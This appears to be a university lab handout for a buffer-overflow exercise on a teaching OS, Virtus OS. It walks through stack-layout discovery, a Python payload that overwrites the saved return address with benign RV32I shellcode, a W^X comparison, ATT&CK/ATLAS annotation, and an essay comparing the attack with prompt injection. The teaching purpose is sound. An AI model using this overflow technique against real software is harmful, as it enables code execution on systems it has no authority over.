Module: 2 -- Stack-Smash on Virtus OS v1 (Substrate Primer)
Points: 20
Time estimate: 4 hr lab + 5 hr independent
Deliverable: lab-2-report.md + payload binary + 200-word comparison essay
Objectives
- Determine the stack layout of the vulnerable Virtus OS input handler using
virtus-debug. - Craft a buffer-overflow payload that overwrites the saved return address.
- Demonstrate code execution via shellcode (W^X disabled) OR W^X fault (W^X enabled).
- Annotate the attack chain at the ATLAS/ATT&CK level.
- Write the substrate-vs-language comparison essay.
Prerequisites
- Your CSA-101 Tang Nano 20K or Tang Primer 25K running Virtus OS v1
virtus-debugtoolchain (from CSA-201 lab environment)- Python 3.x +
structmodule (standard library) - An understanding of Module 2 Section 2.3 (exploit mechanics)
Part A: Stack Layout Discovery (45 min)
Use virtus-debug to dump the stack frame of the vulnerable input handler. Record the offsets.
# Connect to Virtus OS via UART debug interface
virtus-debug connect --port /dev/ttyUSB0 --baud 115200
# Run the input handler and break at the buffer-read instruction
virtus-debug break --symbol input_handler_read
virtus-debug run
# Dump the stack frame
virtus-debug stack --depth 32
# Expected output shows something like:
# SP+0x00 [input_buffer start]
# SP+0x1F [input_buffer end]
# SP+0x20 [local_var_1]
# ...
# SP+0x2C [saved_fp]
# SP+0x30 [saved_ra] <- your target
Record:
| Field | Offset from input_buffer start | Size |
|---|---|---|
| input_buffer | 0 | 32 bytes |
| local_variables | ||
| saved frame pointer | 4 bytes | |
| saved return address | 4 bytes | |
| Total padding needed to reach saved_ra | bytes |
Part B: Payload Crafting (30 min)
Using the offsets from Part A, build the buffer overflow payload.
#!/usr/bin/env python3
"""Lab 2.1 Part B: Payload construction for Virtus OS stack-smash."""
import struct
# Fill in from Part A:
PADDING_SIZE = ____ # bytes to reach saved return address
# The shellcode landing address (where shellcode will be in the payload):
# Stack address of the buffer start (get from virtus-debug stack dump above)
SHELLCODE_ADDR = 0x____ # fill in actual address
# RV32I shellcode: ECALL with a0=0x42; EBREAK
# This will be visible in the Virtus OS exception log
SHELLCODE = bytes([
# addi a0, zero, 0x42 (syscall argument = 0x42 = 66 decimal)
0x13, 0x05, 0x20, 0x04,
# ecall
0x73, 0x00, 0x00, 0x00,
# ebreak (halt; shows in simulator)
0x73, 0x00, 0x10, 0x00,
])
payload = (b'A' * PADDING_SIZE) + struct.pack('<I', SHELLCODE_ADDR) + SHELLCODE
print(f"Payload: {len(payload)} bytes")
print(f"Hex dump:\n{payload.hex()}")
# Write to file for submission
with open('payload_partB.bin', 'wb') as f:
f.write(payload)
print("Payload written to payload_partB.bin")
Part C: Exploit Execution and Observation (30 min)
With W^X disabled:
# Deliver payload to the vulnerable input handler
# Method: pipe payload via UART to the Virtus OS input handler
virtus-debug inject --file payload_partB.bin --target input_handler
# Watch for the ECALL in the kernel log
virtus-debug log --filter "ECALL|EBREAK"
# Expected: "[KERNEL] ECALL: a0=0x42" or "[KERNEL] EBREAK at 0x...."
Record:
- Did the ECALL fire? (yes/no)
- What was the a0 value logged?
- What was the instruction pointer at the time of the ECALL?
- Was the instruction pointer within the payload's shellcode landing zone?
With W^X enabled (re-enable in CSA-201 kernel config):
# Enable W^X
virtus-debug kernel-config --set wx_enabled=1
virtus-debug restart
# Inject the same payload
virtus-debug inject --file payload_partB.bin --target input_handler
# Watch for the fault
virtus-debug log --filter "FAULT|EXCEPTION"
# Expected: "[KERNEL] Fetch fault at 0x....: non-executable page"
Record:
- What exception type was raised?
- What was the faulting PC?
- Did the faulting PC match the SHELLCODE_ADDR in the payload?
Part D: ATLAS Annotation (30 min)
Complete the annotation table. Use the specific values from your experiment.
| Stage | ATT&CK technique | ATLAS equivalent | What happened in your experiment |
|---|---|---|---|
| 1. Reconnaissance | T1082 System Information Discovery | AML.T0046 | virtus-debug stack dump revealed frame offsets |
| 2. Exploit Development | T1587.004 Exploits | AML.T0043 Craft Adversarial Data | Payload crafted with specific PADDING_SIZE and SHELLCODE_ADDR |
| 3. Initial Access | T1190 Exploit Public-Facing Application | N/A (substrate) | Overflow via input_handler_read |
| 4. Execution | T1055 Process Injection | AML.T0040 | Shellcode executed via overwritten return address |
| 5. Defense Evasion | T1562.001 Disable Security Tools | AML.T0015 | W^X disabled in kernel config |
For rows 4 and 5: if W^X was enabled and the exploit failed, note the failure in the "What happened" column and explain what mitigation was effective.
Part E: Substrate vs Language Comparison Essay (200 words)
Write a 200-word comparison of this lab's attack and the prompt injection you reproduced in AI-201. Include:
- The invariant violated in each case (one sentence each)
- The overflow/injection vehicle (one sentence each)
- The payload (one sentence each)
- The execution trigger (one sentence each)
- The analogous mitigation (one sentence each)
Submit this essay with the lab report. It feeds into the Module 4 essay.
Lab Report Requirements
Create lab-2-report.md containing:
- Part A: Stack layout table (filled in)
- Part B: Payload hex dump + Python script (annotated)
- Part C: Exploit execution results (W^X disabled AND W^X enabled observations)
- Part D: ATLAS annotation table (completed)
- Part E: 200-word comparison essay
Include payload_partB.bin in your submission directory.
Grading
| Component | Points |
|---|---|
| Part A: Stack layout correctly determined and documented | 4 |
| Part B: Payload correctly crafted (PADDING_SIZE and SHELLCODE_ADDR correct for your build) | 5 |
| Part C: Both scenarios documented (W^X disabled execution + W^X enabled fault) | 5 |
| Part D: ATLAS annotation complete with experiment-specific evidence | 3 |
| Part E: Comparison essay substantive and technically accurate | 3 |
| Total | 20 |